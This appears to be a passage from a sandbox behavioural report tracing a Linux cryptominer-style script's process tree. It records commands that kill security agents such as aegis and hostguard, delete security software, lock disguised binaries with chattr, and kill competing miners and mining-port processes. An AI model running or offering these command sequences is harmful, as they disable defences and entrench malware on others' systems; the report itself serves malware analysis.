  grep -v grep
  2⤵
  PID:869
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:868
- /usr/bin/xargs
  xargs rm -rf
  2⤵
  PID:886
- - /usr/local/sbin/rm
    rm -rf
    3⤵
    PID:890
- - /usr/local/bin/rm
    rm -rf
    3⤵
    PID:890
- - /usr/sbin/rm
    rm -rf
    3⤵
    PID:890
- - /usr/bin/rm
    rm -rf
    3⤵
    PID:890
- - /sbin/rm
    rm -rf
    3⤵
    PID:890
- - /bin/rm
    rm -rf
    3⤵
    PID:890
- /usr/bin/xargs
  xargs dirname
  2⤵
  PID:885
- - /usr/local/sbin/dirname
    dirname
    3⤵
    PID:888
- - /usr/local/bin/dirname
    dirname
    3⤵
    PID:888
- - /usr/sbin/dirname
    dirname
    3⤵
    PID:888
- - /usr/bin/dirname
    dirname
    3⤵
    PID:888
- /usr/bin/awk
  awk "{print \$11}"
  2⤵
  PID:884
- /bin/grep
  grep titanagent
  2⤵
  PID:883
- /bin/grep
  grep -v grep
  2⤵
  PID:882
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:881
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:896
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:895
- /bin/grep
  grep edr
  2⤵
  PID:894
- /bin/grep
  grep -v grep
  2⤵
  PID:893
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:892
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:901
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:900
- /bin/grep
  grep aegis
  2⤵
  PID:899
- /bin/grep
  grep -v grep
  2⤵
  PID:898
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:897
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:909
- /bin/grep
  grep Yun
  2⤵
  PID:907
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:908
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:905
- /bin/grep
  grep -v grep
  2⤵
  PID:906
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:917
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:916
- /bin/grep
  grep hids
  2⤵
  PID:915
- /bin/grep
  grep -v grep
  2⤵
  PID:914
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:913
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  - Attempts to change immutable files
  PID:923
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:922
- /bin/grep
  grep cloudwalker
  2⤵
  PID:921
- /bin/grep
  grep -v grep
  2⤵
  PID:920
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:919
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:927
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:928
- /bin/grep
  grep titanagent
  2⤵
  PID:926
- /bin/grep
  grep -v grep
  2⤵
  PID:925
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:924
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:934
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:933
- /bin/grep
  grep sgagent
  2⤵
  PID:932
- /bin/grep
  grep -v grep
  2⤵
  PID:931
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:930
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:939
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:938
- /bin/grep
  grep barad_agent
  2⤵
  PID:937
- /bin/grep
  grep -v grep
  2⤵
  PID:936
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:935
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:944
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:943
- /bin/grep
  grep hostguard
  2⤵
  PID:942
- /bin/grep
  grep -v grep
  2⤵
  PID:941
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:940
- /usr/bin/xargs
  xargs -I "{}" kill -9 "{}"
  2⤵
  PID:949
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:948
- /bin/grep
  grep httpgd
  2⤵
  PID:947
- /bin/grep
  grep -v grep
  2⤵
  PID:946
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:945
- /bin/rm
  rm -rf /usr/local/aegis
  2⤵
  PID:950
- /bin/sleep
  sleep 1
  2⤵
  PID:951
- /usr/bin/chattr
  chattr -i /usr/bin/ip6network
  2⤵
  - Attempts to change immutable files
  - System Network Configuration Discovery
  PID:954
- /usr/bin/chattr
  chattr -i /usr/bin/kswaped
  2⤵
  - Attempts to change immutable files
  PID:955
- /usr/bin/chattr
  chattr -i /usr/bin/irqbalanced
  2⤵
  PID:956
- /usr/bin/chattr
  chattr -i /usr/bin/rctlcli
  2⤵
  PID:957
- /usr/bin/chattr
  chattr -i /usr/bin/systemd-network
  2⤵
  - Attempts to change immutable files
  PID:958
- /usr/bin/chattr
  chattr -i /usr/bin/pamdicks
  2⤵
  PID:959
- /usr/bin/chattr
  chattr +i /usr/bin/ip6network
  2⤵
  - System Network Configuration Discovery
  PID:960
- /usr/bin/chattr
  chattr +i /usr/bin/kswaped
  2⤵
  PID:961
- /usr/bin/chattr
  chattr +i /usr/bin/irqbalanced
  2⤵
  PID:962
- /usr/bin/chattr
  chattr +i /usr/bin/rctlcli
  2⤵
  - Attempts to change immutable files
  PID:963
- /usr/bin/chattr
  chattr +i /usr/bin/systemd-network
  2⤵
  PID:964
- /usr/bin/chattr
  chattr +i /usr/bin/pamdicks
  2⤵
  PID:965
- /bin/sleep
  sleep 1
  2⤵
  PID:966
- /bin/rm
  rm -f /tmp/.null
  2⤵
  PID:976
- /sbin/sysctl
  sysctl -w "vm.nr_hugepages=128"
  2⤵
  PID:978
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:982
- /bin/grep
  grep :23
  2⤵
  PID:981
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:983
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:985
- /bin/grep
  grep -v -
  2⤵
  PID:984
- /bin/grep
  grep :143
  2⤵
  PID:989
- /bin/grep
  grep -v -
  2⤵
  PID:992
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:993
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:990
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:991
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1000
- /bin/grep
  grep -v -
  2⤵
  PID:999
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:998
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:997
- /bin/grep
  grep :2222
  2⤵
  PID:996
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1006
- /bin/grep
  grep -v -
  2⤵
  PID:1005
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1004
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1003
- /bin/grep
  grep :3333
  2⤵
  PID:1002
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1013
- /bin/grep
  grep -v -
  2⤵
  PID:1012
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1011
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1010
- /bin/grep
  grep :3389
  2⤵
  PID:1009
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1020
- /bin/grep
  grep -v -
  2⤵
  PID:1019
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1018
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1017
- /bin/grep
  grep :5555
  2⤵
  PID:1016
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1026
- /bin/grep
  grep -v -
  2⤵
  PID:1025
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1024
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1023
- /bin/grep
  grep :6666
  2⤵
  PID:1022
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1034
- /bin/grep
  grep -v -
  2⤵
  PID:1033
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1032
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1031
- /bin/grep
  grep :6665
  2⤵
  PID:1030
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1040
- /bin/grep
  grep -v -
  2⤵
  PID:1039
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1038
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1037
- /bin/grep
  grep :6667
  2⤵
  PID:1036
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1047
- /bin/grep
  grep -v -
  2⤵
  PID:1046
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1045
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1044
- /bin/grep
  grep :7777
  2⤵
  PID:1043
- /bin/grep
  grep -v -
  2⤵
  PID:1053
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1054
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1052
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1051
- /bin/grep
  grep :8444
  2⤵
  PID:1050
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1061
- /bin/grep
  grep -v -
  2⤵
  PID:1060
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1059
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1058
- /bin/grep
  grep :3347
  2⤵
  PID:1057
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1068
- /bin/grep
  grep -v -
  2⤵
  PID:1067
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1066
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1065
- /bin/grep
  grep :10008
  2⤵
  PID:1064
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1073
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1072
- /bin/grep
  grep :13531
  2⤵
  PID:1071
- /bin/grep
  grep -v grep
  2⤵
  PID:1070
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1079
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1078
- /bin/grep
  grep :3333
  2⤵
  PID:1077
- /bin/grep
  grep -v grep
  2⤵
  PID:1076
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1075
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1086
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1085
- /bin/grep
  grep :5555
  2⤵
  PID:1084
- /bin/grep
  grep -v grep
  2⤵
  PID:1083
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1082
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1092
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1091
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:1090
- /bin/grep
  grep -v grep
  2⤵
  PID:1089
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1088
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1099
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1098
- /bin/grep
  grep log_
  2⤵
  PID:1097
- /bin/grep
  grep -v grep
  2⤵
  PID:1096
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1095
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1105
- /bin/grep
  grep -v grep
  2⤵
  PID:1103
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1106
- /bin/grep
  grep systemten
  2⤵
  PID:1104
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1102
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1111
- - /usr/local/sbin/kill
    kill -9 10
    3⤵
    - Disables SELinux
    PID:1112
- - /usr/local/bin/kill
    kill -9 10
    3⤵
    - Disables SELinux
    PID:1112
- - /usr/sbin/kill
    kill -9 10
    3⤵
    - Disables SELinux
    PID:1112
- - /usr/bin/kill
    kill -9 10
    3⤵
    - Disables SELinux
    PID:1112
- - /sbin/kill
    kill -9 10
    3⤵
    - Disables SELinux
    PID:1112
- - /bin/kill
    kill -9 10
    3⤵
    - Disables SELinux
    PID:1112
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1110
- /bin/grep
  grep netns
  2⤵
  PID:1109
- /bin/grep
  grep -v grep
  2⤵
  PID:1108
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1107
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1117
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1116
- /bin/grep
  grep voltuned
  2⤵
  PID:1115
- /bin/grep
  grep -v grep
  2⤵
  PID:1114
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1113
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1122
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1121
- /bin/grep
  grep darwin
  2⤵
  PID:1120
- /bin/grep
  grep -v grep
  2⤵
  PID:1119
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1118
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1127
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1126
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1125
- /bin/grep
  grep -v grep
  2⤵
  PID:1124
- /bin/ps
  ps aux
  2⤵
  PID:1123
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1132
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1131
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1130
- /bin/grep
  grep -v grep
  2⤵
  PID:1129
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1128
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1137
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1136
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1135
- /bin/grep
  grep -v grep
  2⤵
  PID:1134
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1133
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1142
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1141
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1140
- /bin/grep
  grep -v grep
  2⤵
  PID:1139
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1138
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1147
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1146
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1145
- /bin/grep
  grep -v grep
  2⤵
  PID:1144
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1143
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1152
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1151
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1150
- /bin/grep
  grep -v grep
  2⤵
  PID:1149
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1148
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1157
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1156
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1155
- /bin/grep
  grep -v grep
  2⤵
  PID:1154
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1153
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1162
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1161
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1160
- /bin/grep
  grep -v grep
  2⤵
  PID:1159
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1158
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1167
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1166
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1165
- /bin/grep
  grep -v grep
  2⤵
  PID:1164
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1163
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1172
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1171
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1170
- /bin/grep
  grep -v grep
  2⤵
  PID:1169
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1168
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1177
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1176
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1175
- /bin/grep
  grep -v grep
  2⤵
  PID:1174
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1173
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1182
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1181
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:1180
- /bin/grep
  grep -v grep
  2⤵
  PID:1179
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1178
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1187
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1186
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:1185
- /bin/grep
  grep -v grep
  2⤵
  PID:1184
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1183
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1192
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1191
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:1190
- /bin/grep
  grep -v grep
  2⤵
  PID:1189
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1188
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1197
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1196
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:1195
- /bin/grep
  grep -v grep
  2⤵
  PID:1194
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1193
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1202
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1201
- /bin/grep
  grep nqscheduler
  2⤵
  PID:1200
- /bin/grep
  grep -v grep
  2⤵
  PID:1199
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1198
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1207
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1206
- /bin/grep
  grep httpgd
  2⤵
  PID:1205
- /bin/grep
  grep -v grep
  2⤵
  PID:1204
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1203
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1213
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:1212
- /bin/grep
  grep "]"
  2⤵
  PID:1211
- /bin/grep
  grep -v aux
  2⤵
  PID:1210
- /bin/grep
  grep -v grep
  2⤵
  PID:1209
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1208
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1220
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:1219
- /bin/grep
  grep -v _
  2⤵
  PID:1218
- /bin/grep
  grep -v -
  2⤵
  PID:1217
- /bin/grep
  grep -v /
  2⤵
  PID:1216
- /bin/grep
  grep -v grep
  2⤵
  PID:1215
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1214
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1225
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1224
- /bin/grep
  grep "\\[^"
  2⤵
  PID:1223
- /bin/grep
  grep -v grep
  2⤵
  PID:1222
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1221
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1230
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1229
- /bin/grep
  grep rsync
  2⤵
  PID:1228
- /bin/grep
  grep -v grep
  2⤵
  PID:1227
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1226
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1235
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1234
- /bin/grep
  grep watchd0g
  2⤵
  PID:1233
- /bin/grep
  grep -v grep
  2⤵
  PID:1232
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1231
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1240
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1239
- /bin/grep
  grep -v grep
  2⤵
  PID:1237
- /bin/ps
  ps aux
  2⤵
  - Reads runtime system information
  PID:1236
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1238
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1245
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1244
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1243
- /bin/grep
  grep -v grep
  2⤵
  PID:1242
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1241
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1250
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1249
- /bin/grep
  grep gitee.com
  2⤵
  PID:1248
- /bin/grep
  grep -v grep
  2⤵
  PID:1247
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1246
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1255
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1254
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1253
- /bin/grep
  grep -v grep
  2⤵
  PID:1252
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1251
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1260
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1259
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:1258
- /bin/grep
  grep -v grep
  2⤵
  PID:1257
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1256
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1265
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1264
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:1263
- /bin/grep
  grep -v grep
  2⤵
  PID:1262
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1261
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1270
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1269
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:1268
- /bin/grep
  grep -v grep
  2⤵
  PID:1267
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1266
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1275
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1274
- /bin/grep
  grep kthrotlds
  2⤵
  PID:1273
- /bin/grep
  grep -v grep
  2⤵
  PID:1272
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1271
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1279
- /bin/grep
  grep ksoftirqds
  2⤵
  PID:1278
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1280
- /bin/grep
  grep -v grep
  2⤵
  PID:1277
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  - Reads runtime system information
  PID:1276
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1285
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1284
- /bin/grep
  grep netdns
  2⤵
  PID:1283
- /bin/grep
  grep -v grep
  2⤵
  PID:1282
- /bin/ps
  ps aux
  2⤵
  - Process Discovery
  PID:1281
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1289
- /bin/grep
  grep watchdogs
  2⤵
  PID:1288
- /bin/grep
  grep -v grep
  2⤵
  PID:1287
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  PID:1286
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1290
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1294
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1295
- /bin/grep
  grep httpgd
  2⤵
  PID:1293
- /bin/grep
  grep -v grep
  2⤵
  PID:1292
- /bin/ps
  ps aux
  2⤵
  PID:1291
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1300
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1299
- /bin/grep
  grep kdevtmpfsi
  2⤵
  PID:1298
- /bin/grep
  grep -v grep
  2⤵
  PID:1297
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1296
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1305
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1304
- /bin/grep
  grep kinsing
  2⤵
  PID:1303
- /bin/grep
  grep -v grep
  2⤵
  PID:1302
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1301
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1306
- /bin/grep
  grep redis2
  2⤵
  PID:1308
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1310
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1309
- /bin/grep
  grep -v grep
  2⤵
  PID:1307
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1315
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1316
- /bin/grep
  grep " ps"
  2⤵
  PID:1314
